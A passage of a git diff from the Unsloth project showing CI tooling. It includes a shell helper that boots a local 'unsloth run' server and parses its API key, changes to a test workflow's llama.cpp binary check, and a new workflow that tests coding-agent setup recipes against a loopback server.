echo "$1=$2" >> "$GITHUB_ENV"
|
||||
fi
|
||||
}
|
||||
|
||||
server_fail() {
|
||||
echo "::error::Unsloth server/API regression: $*" >&2
|
||||
echo "---- last 200 lines of $SERVER_LOG ----" >&2
|
||||
tail -200 "$SERVER_LOG" 2>/dev/null || true
|
||||
exit 1
|
||||
}
|
||||
|
||||
# ── port collision guard ─────────────────────────────────────────────────
|
||||
# A leftover listener (or a parallel matrix cell that wandered onto our port)
|
||||
# would make us attach to the wrong server and mask a real regression. Fail
|
||||
# fast instead.
|
||||
if command -v ss >/dev/null 2>&1; then
|
||||
if ss -tln 2>/dev/null | grep -q ":${PORT}\b"; then
|
||||
server_fail "port ${PORT} already has a listener before we started (collision)"
|
||||
fi
|
||||
fi
|
||||
|
||||
# ── build the command ────────────────────────────────────────────────────
|
||||
# `unsloth run` == alias of `unsloth studio run`. --disable-tools is REQUIRED
|
||||
# (passthrough mode) so the agent's own tools relay instead of the server's.
|
||||
# --no-cloudflare keeps us off the network (loopback bind, no tunnel attempt).
|
||||
CMD=(unsloth run -H 127.0.0.1 -p "$PORT" --disable-tools --no-cloudflare)
|
||||
if [ -n "$GGUF_FILE" ]; then
|
||||
CMD+=(--model "$GGUF_FILE")
|
||||
else
|
||||
CMD+=(--model "$MODEL")
|
||||
[ -n "$GGUF_VARIANT" ] && CMD+=(--gguf-variant "$GGUF_VARIANT")
|
||||
fi
|
||||
# Determinism knobs + any caller passthrough (e.g. --seed 3407 --temp 0).
|
||||
# shellcheck disable=SC2206 # intentional word-split of caller-controlled flags
|
||||
[ -n "$EXTRA" ] && CMD+=($EXTRA)
|
||||
|
||||
echo "[serve] launching: ${CMD[*]}"
|
||||
echo "[serve] server log: $SERVER_LOG"
|
||||
|
||||
# Run detached, no controlling TTY (setsid avoids any TTY-prompt hang and
|
||||
# detaches from this step's process group so the job's teardown is clean).
|
||||
setsid "${CMD[@]}" > "$SERVER_LOG" 2>&1 < /dev/null &
|
||||
SERVER_PID=$!
|
||||
emit UNSLOTH_SERVER_PID "$SERVER_PID"
|
||||
|
||||
# ── wait for /api/health == healthy ──────────────────────────────────────
|
||||
HEALTHY=0
|
||||
for _ in $(seq 1 "$HEALTH_TIMEOUT"); do
|
||||
if ! kill -0 "$SERVER_PID" 2>/dev/null; then
|
||||
server_fail "process exited before becoming healthy (pid $SERVER_PID)"
|
||||
fi
|
||||
if curl -fs "${BASE_URL}/api/health" -o "$LOG_DIR/health-${PORT}.json" 2>/dev/null; then
|
||||
if jq -e '.status == "healthy"' "$LOG_DIR/health-${PORT}.json" >/dev/null 2>&1; then
|
||||
HEALTHY=1
|
||||
break
|
||||
fi
|
||||
fi
|
||||
sleep 1
|
||||
done
|
||||
[ "$HEALTHY" = "1" ] || server_fail "did not report /api/health healthy within ${HEALTH_TIMEOUT}s"
|
||||
echo "[serve] /api/health healthy"
|
||||
|
||||
# ── parse the API key from the banner ────────────────────────────────────
|
||||
# Match both the non-silent " API Key: <key>" and silent "API Key: <key>"
|
||||
# forms. We do NOT trust a fixed column count; we take the sk-unsloth-* token.
|
||||
API_KEY=""
|
||||
for _ in $(seq 1 30); do
|
||||
API_KEY="$(grep -aoE 'sk-unsloth-[A-Za-z0-9_-]+' "$SERVER_LOG" 2>/dev/null | head -1 || true)"
|
||||
[ -n "$API_KEY" ] && break
|
||||
sleep 1
|
||||
done
|
||||
if [ -z "$API_KEY" ]; then
|
||||
# Fallback: take whatever follows an "API Key:" label, in case the key
|
||||
# prefix scheme changes. Still a parse-fragility guard, not silent.
|
||||
API_KEY="$(grep -aE 'API Key:' "$SERVER_LOG" 2>/dev/null \
|
||||
| sed -E 's/.*API Key:[[:space:]]*//' | head -1 || true)"
|
||||
fi
|
||||
[ -n "$API_KEY" ] || server_fail "could not parse an API key from the banner (banner-parse fragility -- check the 'API Key:' line in unsloth_cli/commands/studio.py)"
|
||||
echo "::add-mask::${API_KEY}"
|
||||
emit UNSLOTH_API_KEY "$API_KEY"
|
||||
|
||||
# ── resolve /v1/models id ────────────────────────────────────────────────
|
||||
if ! curl -fs "${BASE_URL}/v1/models" \
|
||||
-H "Authorization: Bearer ${API_KEY}" -o "$LOG_DIR/models-${PORT}.json" 2>/dev/null; then
|
||||
server_fail "/v1/models did not respond (or rejected the banner key)"
|
||||
fi
|
||||
MODEL_ID="$(jq -r '.data[0].id // empty' "$LOG_DIR/models-${PORT}.json" 2>/dev/null || true)"
|
||||
[ -n "$MODEL_ID" ] || server_fail "/v1/models returned no model id (model failed to load)"
|
||||
echo "[serve] resolved model id: $MODEL_ID"
|
||||
|
||||
emit UNSLOTH_MODEL_ID "$MODEL_ID"
|
||||
emit UNSLOTH_STUDIO_URL "$BASE_URL"
|
||||
emit UNSLOTH_BASE_URL "$BASE_URL"
|
||||
emit UNSLOTH_LLAMA_LOG_DIR "$LLAMA_LOG_DIR"
|
||||
|
||||
echo "[serve] server is up: ${BASE_URL} (model ${MODEL_ID})"
|
||||
90
.github/workflows/consolidated-tests-ci.yml
vendored
90
.github/workflows/consolidated-tests-ci.yml
vendored
|
|
@ -209,7 +209,7 @@ jobs:
|
|||
'peft>=0.18,<0.20' 'accelerate>=0.34,<2' \
|
||||
ipython
|
||||
# torchvision: unsloth_zoo.vision_utils imports it at module scope.
|
||||
pip install --index-url https://download.pytorch.org/whl/cpu \
|
||||
pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
|
||||
'torch>=2.4,<2.11' 'torchvision<0.26'
|
||||
# transformers + trl from the matrix combo.
|
||||
pip install "$RESOLVED_TRANSFORMERS_SPEC"
|
||||
|
|
@ -268,6 +268,10 @@ jobs:
|
|||
tests/saving/test_save_shell_injection.py \
|
||||
tests/saving/test_patch_saving_none_tokenizer.py \
|
||||
tests/saving/test_fix_sentencepiece_gguf_robustness.py \
|
||||
tests/saving/test_compressed_export_schemes.py \
|
||||
tests/saving/test_export_api_surface.py \
|
||||
tests/saving/test_export_dispatch.py \
|
||||
tests/saving/test_imatrix_export.py \
|
||||
tests/utils/test_attention_masks.py \
|
||||
tests/utils/test_trunc_normal_patch.py \
|
||||
tests/python/test_fast_language_model_text_only.py
|
||||
|
|
@ -353,9 +357,16 @@ jobs:
|
|||
tests/saving/test_save_shell_injection.py \
|
||||
tests/saving/test_patch_saving_none_tokenizer.py \
|
||||
tests/saving/test_fix_sentencepiece_gguf_robustness.py \
|
||||
tests/saving/test_compressed_export_schemes.py \
|
||||
tests/saving/test_export_api_surface.py \
|
||||
tests/saving/test_export_dispatch.py \
|
||||
tests/saving/test_imatrix_export.py \
|
||||
tests/utils/test_attention_masks.py \
|
||||
tests/utils/test_trunc_normal_patch.py \
|
||||
tests/python/test_fast_language_model_text_only.py \
|
||||
tests/test_bad_mappings_redirect.py \
|
||||
tests/test_prefetch_snapshot_scope.py \
|
||||
tests/test_gemma_2b_mapper_key.py \
|
||||
--deselect 'tests/utils/test_attention_masks.py::test_run_attention_flash_varlen_receives_window_and_softcap'
|
||||
# The deselected test monkeypatches flash_attn_varlen_func, which is
|
||||
# only bound on the module when `flash_attn` is importable. flash_attn
|
||||
|
|
@ -2166,7 +2177,7 @@ jobs:
|
|||
python -m pip install --upgrade pip
|
||||
# Match the matrix job's torch path so unsloth_zoo's
|
||||
# `import torch` resolves to the same CPU build.
|
||||
pip install --index-url https://download.pytorch.org/whl/cpu \
|
||||
pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
|
||||
'torch>=2.4,<2.11' 'torchvision<0.26'
|
||||
pip install \
|
||||
'numpy<3' protobuf sentencepiece \
|
||||
|
|
@ -2204,12 +2215,13 @@ jobs:
|
|||
pip install -e "$RUNNER_TEMP/unsloth-zoo" --no-deps
|
||||
pip show unsloth_zoo
|
||||
|
||||
- name: llama.cpp install via unsloth_zoo.llama_cpp + `llama-cli --help` smoke
|
||||
- name: llama.cpp install via unsloth_zoo.llama_cpp + CLI `--help` smoke
|
||||
# Exercise the canonical `unsloth_zoo.llama_cpp.install_llama_cpp`
|
||||
# flow that GGUF export uses at runtime: clone ggml-org/llama.cpp
|
||||
# into ~/.unsloth/llama.cpp, build the LLAMA_CPP_TARGETS list
|
||||
# (llama-quantize, llama-cli, llama-mtmd-cli, llama-gguf-split,
|
||||
# llama-server) via cmake, then run `llama-cli --help`.
|
||||
# llama-server) via cmake, then run `--help` on whichever CLI
|
||||
# inference binary the build actually produced.
|
||||
#
|
||||
# This replaces the previous "download upstream prebuilt zip"
|
||||
# approach, which silently exited 0 with the message
|
||||
|
|
@ -2218,6 +2230,18 @@ jobs:
|
|||
# matched their current asset names). The build path is the same
|
||||
# one Unsloth users hit in production via `model.save_pretrained_gguf`.
|
||||
#
|
||||
# We do NOT hard-require `llama-cli` specifically: upstream
|
||||
# ggml-org/llama.cpp moved the cli/server/ui targets behind the
|
||||
# `LLAMA_BUILD_SERVER` cmake option (tools/CMakeLists.txt) and the
|
||||
# set of binaries that survive a given checkout drifts over time
|
||||
# (e.g. a recent build root shipped llama-server + llama-quantize
|
||||
# + llama-diffusion-cli but no llama-cli). The durable contract is
|
||||
# "install_llama_cpp produced a working CLI inference binary AND a
|
||||
# working quantizer", so we --help-probe the first of
|
||||
# llama-cli / llama-mtmd-cli / llama-server that exists. If a
|
||||
# future llama.cpp restores llama-cli it is first in the list and
|
||||
# is preferred, so this stays backwards compatible.
|
||||
#
|
||||
# Wall-time budget: ~3-5 min cold, dominated by cmake build of
|
||||
# 5 targets on the runner's 4 cores. Apt-package install is
|
||||
# handled by `install_llama_cpp` itself via its
|
||||
|
|
@ -2252,8 +2276,9 @@ jobs:
|
|||
print(f"Build targets: {LLAMA_CPP_TARGETS}")
|
||||
# install_llama_cpp returns (quantizer_path, converter_script_path).
|
||||
# The quantizer's directory is the `llama.cpp` install root, which
|
||||
# also holds llama-cli after build/bin/llama-* gets copied up
|
||||
# (llama_cpp.py:867-871).
|
||||
# also holds the CLI inference binaries after build/bin/llama-* gets
|
||||
# copied up (llama_cpp.py:1450-1454; on Windows they stay in
|
||||
# build/bin/Release/).
|
||||
quantizer, converter = install_llama_cpp(print_output=True)
|
||||
assert quantizer and os.path.exists(quantizer), (
|
||||
f"install_llama_cpp returned quantizer={quantizer!r} but file missing"
|
||||
|
|
@ -2262,25 +2287,54 @@ jobs:
|
|||
f"install_llama_cpp returned converter={converter!r} but missing"
|
||||
)
|
||||
install_root = os.path.dirname(quantizer)
|
||||
cli = os.path.join(install_root, "llama-cli")
|
||||
assert os.path.exists(cli), (
|
||||
f"llama-cli not found at {cli!r} after build. Build root contents: "
|
||||
f"{sorted(p for p in os.listdir(install_root) if p.startswith('llama-'))[:20]}"
|
||||
)
|
||||
assert os.access(cli, os.X_OK), f"{cli!r} not executable"
|
||||
# `llama-cli --help` exits non-zero on some builds; the contract
|
||||
# is that recognizable help text appears on stdout/stderr.
|
||||
is_windows = sys.platform == "win32"
|
||||
exe = ".exe" if is_windows else ""
|
||||
# Search both the copied-up root and the Windows build/bin/Release/
|
||||
# location the quantizer might already live in.
|
||||
search_dirs = [install_root]
|
||||
win_release = os.path.join(install_root, "build", "bin", "Release")
|
||||
if win_release not in search_dirs:
|
||||
search_dirs.append(win_release)
|
||||
# Any of these proves a working llama.cpp CLI inference binary was
|
||||
# built. Order = preference: llama-cli is canonical (restored first
|
||||
# if upstream brings it back), then the multimodal CLI, then the
|
||||
# server (always built whenever cli would be, behind LLAMA_BUILD_SERVER).
|
||||
cli_names = [f"llama-cli{exe}", f"llama-mtmd-cli{exe}", f"llama-server{exe}"]
|
||||
cli = None
|
||||
cli_name = None
|
||||
for name in cli_names:
|
||||
for d in search_dirs:
|
||||
candidate = os.path.join(d, name)
|
||||
if os.path.exists(candidate) and (is_windows or os.access(candidate, os.X_OK)):
|
||||
cli, cli_name = candidate, name
|
||||
break
|
||||
if cli is not None:
|
||||
break
|
||||
if cli is None:
|
||||
found = []
|
||||
for d in search_dirs:
|
||||
if os.path.isdir(d):
|
||||
found += [p for p in os.listdir(d) if p.startswith("llama-")]
|
||||
raise AssertionError(
|
||||
f"No CLI inference binary ({', '.join(cli_names)}) found after "
|
||||
f"build in {search_dirs}. Build root contents: {sorted(set(found))[:20]}"
|
||||
)
|
||||
print(f"Using CLI inference binary: {cli_name} -> {cli}")
|
||||
# `--help` exits non-zero on some builds; the contract is that
|
||||
# recognizable help text appears on stdout/stderr. llama-server
|
||||
# exposes a different flag set than llama-cli, so accept its
|
||||
# tokens too (e.g. --host / --port / "server").
|
||||
proc = subprocess.run(
|
||||
[cli, "--help"], capture_output=True, text=True, timeout=30,
|
||||
)
|
||||
combined = (proc.stdout or "") + (proc.stderr or "")
|
||||
print("--- llama-cli --help (first 30 lines) ---")
|
||||
print(f"--- {cli_name} --help (first 30 lines) ---")
|
||||
print("\n".join(combined.splitlines()[:30]))
|
||||
assert any(
|
||||
tok in combined.lower()
|
||||
for tok in ("usage", "--help", "--model", "-m,")
|
||||
for tok in ("usage", "--help", "--model", "-m,", "--host", "--port", "server")
|
||||
), (
|
||||
f"llama-cli --help produced no recognizable help text. "
|
||||
f"{cli_name} --help produced no recognizable help text. "
|
||||
f"exit={proc.returncode}\nstdout: {proc.stdout[:400]!r}\n"
|
||||
f"stderr: {proc.stderr[:400]!r}"
|
||||
)
|
||||
|
|
@ -2296,7 +2350,7 @@ jobs:
|
|||
f"stderr: {q.stderr[:400]!r}"
|
||||
)
|
||||
print(
|
||||
f"\nOK: install_llama_cpp produced a working llama-cli at {cli} "
|
||||
f"\nOK: install_llama_cpp produced a working {cli_name} at {cli} "
|
||||
f"and llama-quantize at {quantizer}."
|
||||
)
|
||||
PY
|
||||
|
|
|
|||
787
.github/workflows/local-agent-guides-ci.yml
vendored
Normal file
787
.github/workflows/local-agent-guides-ci.yml
vendored
Normal file
|
|
@ -0,0 +1,787 @@
|
|||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
|
||||
|
||||
# Local Agent Guides CI
|
||||
# =====================
|
||||
# Detects when our local-agent setup recipes drift out of sync with
|
||||
# `unsloth run`. Boots a real `unsloth run --disable-tools` server and
|
||||
# drives the coding agents end to end through the *exact* recipes defined
|
||||
# in unsloth_cli/commands/start.py (the in-repo source of truth -- there
|
||||
# is no docs/ tree). Wherever start.py has a recipe we drive the agent
|
||||
# via `unsloth start <agent> --no-launch` and execute what it prints, so
|
||||
# the test self-updates against start.py and catches silent recipe drift.
|
||||
#
|
||||
# Source-of-truth files this workflow guards:
|
||||
# unsloth_cli/commands/start.py the `unsloth start <agent>` recipes
|
||||
# unsloth_cli/commands/studio.py the `unsloth run` banner (API Key line)
|
||||
#
|
||||
# Failure taxonomy (each surfaced with a distinct ::error:: + the agent name
|
||||
# + the start.py location, so a red X is immediately triageable):
|
||||
# (a) Unsloth server/API regression -- the dialect HTTP preflight fails
|
||||
# BEFORE the agent runs (or the server never becomes healthy).
|
||||
# (b) Agent package install failed -- npm/curl install of the CLI failed.
|
||||
# (c) Guide drift -- preflight passed + install ok, but
|
||||
# the documented `unsloth start` flow produced no/garbled output.
|
||||
#
|
||||
# Agents covered (6): claude, codex, hermes, openclaw, opencode, pi.
|
||||
# - All six have a `unsloth start <agent>` recipe, so each cell obtains its
|
||||
# env + command from `unsloth start <agent> --no-launch` and runs THAT
|
||||
# (self-updating: a recipe change is exercised automatically).
|
||||
|
||||
name: Local Agent Guides CI
|
||||
|
||||
on:
|
||||
# Off-peak weekly, deliberately a NON-:00 minute to dodge the top-of-hour
|
||||
# GitHub-hosted-runner stampede.
|
||||
schedule:
|
||||
- cron: '37 7 * * 1'
|
||||
workflow_dispatch:
|
||||
pull_request:
|
||||
paths:
|
||||
- 'unsloth_cli/**'
|
||||
- 'studio/backend/routes/**'
|
||||
# Contracts this workflow asserts that live outside routes/**: the
|
||||
# /api/health endpoint, the llama-server KV-cache log behavior, and the
|
||||
# request/response schemas the agent dialects depend on.
|
||||
- 'studio/backend/main.py'
|
||||
- 'studio/backend/core/inference/llama_cpp.py'
|
||||
- 'studio/backend/models/**'
|
||||
- 'install.sh'
|
||||
- '.github/workflows/local-agent-guides-ci.yml'
|
||||
- '.github/scripts/serve-unsloth-run.sh'
|
||||
- '.github/scripts/assert-prompt-cache.sh'
|
||||
- '.github/scripts/agent-guides-install.sh'
|
||||
- '.github/scripts/agent-guides-drive.sh'
|
||||
- '.github/scripts/ci-connect-prompt.txt'
|
||||
- '.github/scripts/ci-min-system-prompt.txt'
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}
|
||||
cancel-in-progress: true
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
# Secret handling on pull_request: these jobs check out and run PR-controlled code
|
||||
# (install.sh, .github/scripts/**), so HF_TOKEN (an external HF credential) is gated
|
||||
# off pull_request at each step below -- public GGUF repos still download anonymously.
|
||||
# GH_TOKEN (GITHUB_TOKEN) is kept: it is the job-scoped contents:read token and
|
||||
# install_llama_prebuilt.py needs it for the GitHub releases API (else 403s).
|
||||
|
||||
env:
|
||||
# Determinism precedent (studio-inference-smoke.yml): temp 0 + fixed seed.
|
||||
UNSLOTH_SEED: '3407'
|
||||
# A single invoke must never hang the runner on a headless TTY prompt. With
|
||||
# prefill-shrinking flags (minimal system prompt + restricted tools) a turn on
|
||||
# a 4B model finishes in a couple of minutes on CPU; this also caps how long a
|
||||
# still-large-prompt agent burns before failing. Well under the 6h job cap.
|
||||
AGENT_INVOKE_TIMEOUT: '600'
|
||||
|
||||
jobs:
|
||||
# ═════════════════════════════════════════════════════════════════════
|
||||
# Job 1: connection
|
||||
# Per-agent: serve gemma-3-270m, HTTP-preflight the agent's dialect,
|
||||
# install the agent, run `unsloth start <agent> --no-launch`, execute
|
||||
# the emitted recipe with a trivial prompt, assert a non-empty reply.
|
||||
# Runs on PR + weekly + dispatch. Each matrix cell is its own runner so
|
||||
# it serves exactly one model on its own port.
|
||||
# ═════════════════════════════════════════════════════════════════════
|
||||
connection:
|
||||
name: connection (${{ matrix.agent }})
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 40
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
agent: [claude, codex, hermes, openclaw, opencode, pi]
|
||||
include:
|
||||
# OpenClaw needs Node 24; everything else is happy on 22.
|
||||
- agent: openclaw
|
||||
node: '24'
|
||||
env:
|
||||
# gemma-4-E4B (128K context, capable enough to drive every agent for a
|
||||
# trivial reply; the 270m model produced empty/failed responses for
|
||||
# codex/openclaw). Hermes' 64K context floor no longer constrains the model
|
||||
# choice: write_hermes_config claims the floor for smaller windows and
|
||||
# scales compaction back to the real window. Served as a flat
|
||||
# GGUF file (the -MTP- repo ships no separate draft, so this is plain 4B).
|
||||
GGUF_REPO: unsloth/gemma-4-E4B-it-GGUF
|
||||
GGUF_FILE: gemma-4-E4B-it-UD-Q4_K_XL.gguf
|
||||
STUDIO_PORT: '18901'
|
||||
steps:
|
||||
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Linux deps for llama.cpp prebuilt
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install -y --no-install-recommends \
|
||||
libcurl4-openssl-dev libssl-dev jq
|
||||
|
||||
- uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0
|
||||
with:
|
||||
node-version: ${{ matrix.node || '22' }}
|
||||
|
||||
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0
|
||||
with:
|
||||
python-version: '3.12'
|
||||
cache: 'pip'
|
||||
|
||||
- name: Restore GGUF model file
|
||||
id: cache-gguf
|
||||
uses: actions/cache/restore@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5
|
||||
continue-on-error: true
|
||||
with:
|
||||
path: gguf-cache
|
||||
key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1
|
||||
|
||||
- name: Download GGUF if cache miss
|
||||
id: download-gguf
|
||||
if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success'
|
||||
env:
|
||||
# Gated off PR (see note above); public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
python -m pip install --upgrade huggingface_hub
|
||||
mkdir -p gguf-cache
|
||||
bash .github/scripts/hf-download-with-retry.sh "$GGUF_REPO" "$GGUF_FILE" gguf-cache
|
||||
|
||||
- name: Save GGUF model file
|
||||
if: always() && steps.download-gguf.outcome == 'success'
|
||||
uses: actions/cache/save@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5
|
||||
with:
|
||||
path: gguf-cache
|
||||
key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1
|
||||
|
||||
- name: Install Studio (--local, --no-torch)
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
# Gated off PR (see note above); public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
mkdir -p logs
|
||||
set -o pipefail
|
||||
bash install.sh --local --no-torch 2>&1 | tee logs/install.log
|
||||
|
||||
# ── boot the server under test (factored helper) ──────────────────
|
||||
- name: Serve unsloth run --disable-tools (gemma-4-E4B)
|
||||
run: |
|
||||
unsloth studio reset-password
|
||||
bash .github/scripts/serve-unsloth-run.sh \
|
||||
--gguf-file "$GITHUB_WORKSPACE/gguf-cache/${GGUF_FILE}" \
|
||||
--port "$STUDIO_PORT" --log-dir logs \
|
||||
--extra "--seed $UNSLOTH_SEED --temp 0" \
|
||||
--health-timeout 900
|
||||
|
||||
# ── (a) server/API preflight: prove the dialect works BEFORE the agent ─
|
||||
# Distinct error class. If this step fails it is a SERVER regression,
|
||||
# not the agent's or the guide's fault, and the agent steps never run.
|
||||
- name: Preflight the agent's API dialect (class-a isolation)
|
||||
env:
|
||||
AGENT: ${{ matrix.agent }}
|
||||
run: |
|
||||
set -uo pipefail
|
||||
B="$UNSLOTH_BASE_URL"; K="$UNSLOTH_API_KEY"
|
||||
preflight_fail() {
|
||||
echo "::error::[server/API regression] agent=$AGENT: $* (preflight failed BEFORE install/connect; this is class (a), not guide drift). Endpoint contract lives in studio/backend/routes/**.";
|
||||
exit 1
|
||||
}
|
||||
code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/models" \
|
||||
-H "Authorization: Bearer $K") || true
|
||||
[ "$code" = "200" ] || preflight_fail "/v1/models returned HTTP $code"
|
||||
case "$AGENT" in
|
||||
claude)
|
||||
# Anthropic Messages dialect.
|
||||
code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/messages" \
|
||||
-H "Authorization: Bearer $K" -H 'content-type: application/json' \
|
||||
--max-time 120 \
|
||||
-d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true
|
||||
[ "$code" = "200" ] || preflight_fail "/v1/messages returned HTTP $code"
|
||||
;;
|
||||
codex)
|
||||
# Codex always streams /v1/responses.
|
||||
code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/responses" \
|
||||
-H "Authorization: Bearer $K" -H 'content-type: application/json' \
|
||||
--max-time 120 \
|
||||
-d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"input\":\"Hi\",\"max_output_tokens\":16,\"stream\":true}") || true
|
||||
[ "$code" = "200" ] || preflight_fail "/v1/responses returned HTTP $code"
|
||||
;;
|
||||
*)
|
||||
# OpenAI Chat Completions dialect (hermes/opencode/pi/openclaw).
|
||||
# OpenClaw's start.py recipe writes an "openai-completions"
|
||||
# provider (write_openclaw_config), so it uses this path, not
|
||||
# /v1/messages.
|
||||
code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/chat/completions" \
|
||||
-H "Authorization: Bearer $K" -H 'content-type: application/json' \
|
||||
--max-time 120 \
|
||||
-d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true
|
||||
[ "$code" = "200" ] || preflight_fail "/v1/chat/completions returned HTTP $code"
|
||||
;;
|
||||
esac
|
||||
echo "preflight OK for $AGENT"
|
||||
|
||||
# ── (b) install the agent CLI (hardened npm/curl, retried) ─────────
|
||||
- name: Install agent CLI (class-b isolation)
|
||||
env:
|
||||
AGENT: ${{ matrix.agent }}
|
||||
run: bash .github/scripts/agent-guides-install.sh "$AGENT"
|
||||
|
||||
# ── (c) drive the agent via start.py and assert a reply ──────────
|
||||
# For the 5 agents with a start.py recipe we run
|
||||
# `unsloth start <agent> --no-launch`, eval its env/unset exports,
|
||||
# then run the printed command with a hard timeout (no headless-TTY
|
||||
# hang). Pi has no connect recipe, so it is driven by hand and the
|
||||
# cell asserts that absence is the (known) reason.
|
||||
- name: Drive ${{ matrix.agent }} via unsloth start (class-c isolation)
|
||||
env:
|
||||
AGENT: ${{ matrix.agent }}
|
||||
run: bash .github/scripts/agent-guides-drive.sh connection "$AGENT"
|
||||
|
||||
- name: Collect server logs (debug)
|
||||
if: always()
|
||||
run: |
|
||||
mkdir -p logs/studio-logs
|
||||
cp -r "$HOME/.unsloth/studio/logs/." logs/studio-logs/ 2>/dev/null || true
|
||||
# Redact the key across the WHOLE logs/ tree, not just studio-logs:
|
||||
# serve-unsloth-run.sh records the `unsloth run` banner (which prints
|
||||
# `API Key: <key>`) into logs/unsloth-run-<port>.log, and the upload
|
||||
# step publishes all of logs/, so scrubbing only studio-logs would leak
|
||||
# the bearer token in the retained artifact.
|
||||
# Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and
|
||||
# agent-workdir/ are published by the same upload step.
|
||||
if [ -n "${UNSLOTH_API_KEY:-}" ]; then
|
||||
grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do
|
||||
sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
|
||||
done
|
||||
fi
|
||||
|
||||
- name: Stop Studio
|
||||
if: always()
|
||||
run: |
|
||||
# Guard the PID: an unset/zero UNSLOTH_SERVER_PID would make
|
||||
# `kill 0` signal this step's whole process group and abort cleanup.
|
||||
if [ -n "${UNSLOTH_SERVER_PID:-}" ] && [ "${UNSLOTH_SERVER_PID}" != "0" ]; then
|
||||
kill "${UNSLOTH_SERVER_PID}" 2>/dev/null || true
|
||||
fi
|
||||
sleep 2
|
||||
ss -tln 2>/dev/null | grep ":${STUDIO_PORT}" || true
|
||||
|
||||
- name: Upload logs
|
||||
if: always()
|
||||
continue-on-error: true
|
||||
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
|
||||
with:
|
||||
name: connection-${{ matrix.agent }}-log
|
||||
path: |
|
||||
logs/
|
||||
redacted-configs/
|
||||
retention-days: 7
|
||||
|
||||
# ═════════════════════════════════════════════════════════════════════
|
||||
# Job 2: file-edit
|
||||
# The deterministic 2-turn hello.py test on Qwen3.5-4B (smaller models
|
||||
# can't reliably drive the heavyweight agents' edit flows). Weekly +
|
||||
# dispatch only -- it is the slow, model-heavy job and must not gate PRs.
|
||||
# ═════════════════════════════════════════════════════════════════════
|
||||
file-edit:
|
||||
name: file-edit (${{ matrix.agent }})
|
||||
if: github.event_name != 'pull_request'
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 60
|
||||
# hermes and openclaw drive a multi-turn tool loop that a CPU-only runner
|
||||
# cannot finish in time (e.g. openclaw holds its 300s session-write-lock past
|
||||
# expiry; each turn re-prefills the tool prompt at ~16 tok/s). Their endpoint
|
||||
# wiring + generation are already hard-gated by the connection job, so the
|
||||
# file-edit cell is best-effort here -- it still runs and uploads logs, but a
|
||||
# timeout does not fail the workflow. Drop best_effort (or move e2e to a GPU
|
||||
# runner) to make it blocking again.
|
||||
continue-on-error: ${{ matrix.best_effort || false }}
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
agent: [claude, codex, hermes, openclaw, opencode, pi]
|
||||
include:
|
||||
- agent: openclaw
|
||||
node: '24'
|
||||
best_effort: true
|
||||
- agent: hermes
|
||||
best_effort: true
|
||||
env:
|
||||
# gemma-4-E4B served as a flat GGUF file (cache size tracks the .gguf 1:1,
|
||||
# no xet-chunk inflation; the -MTP- repo ships no separate draft file).
|
||||
GGUF_REPO: unsloth/gemma-4-E4B-it-GGUF
|
||||
GGUF_FILE: gemma-4-E4B-it-UD-Q4_K_XL.gguf
|
||||
STUDIO_PORT: '18902'
|
||||
steps:
|
||||
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Linux deps for llama.cpp prebuilt
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install -y --no-install-recommends \
|
||||
libcurl4-openssl-dev libssl-dev jq
|
||||
|
||||
- uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0
|
||||
with:
|
||||
node-version: ${{ matrix.node || '22' }}
|
||||
|
||||
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0
|
||||
with:
|
||||
python-version: '3.12'
|
||||
cache: 'pip'
|
||||
|
||||
- name: Restore GGUF model file
|
||||
id: cache-gguf
|
||||
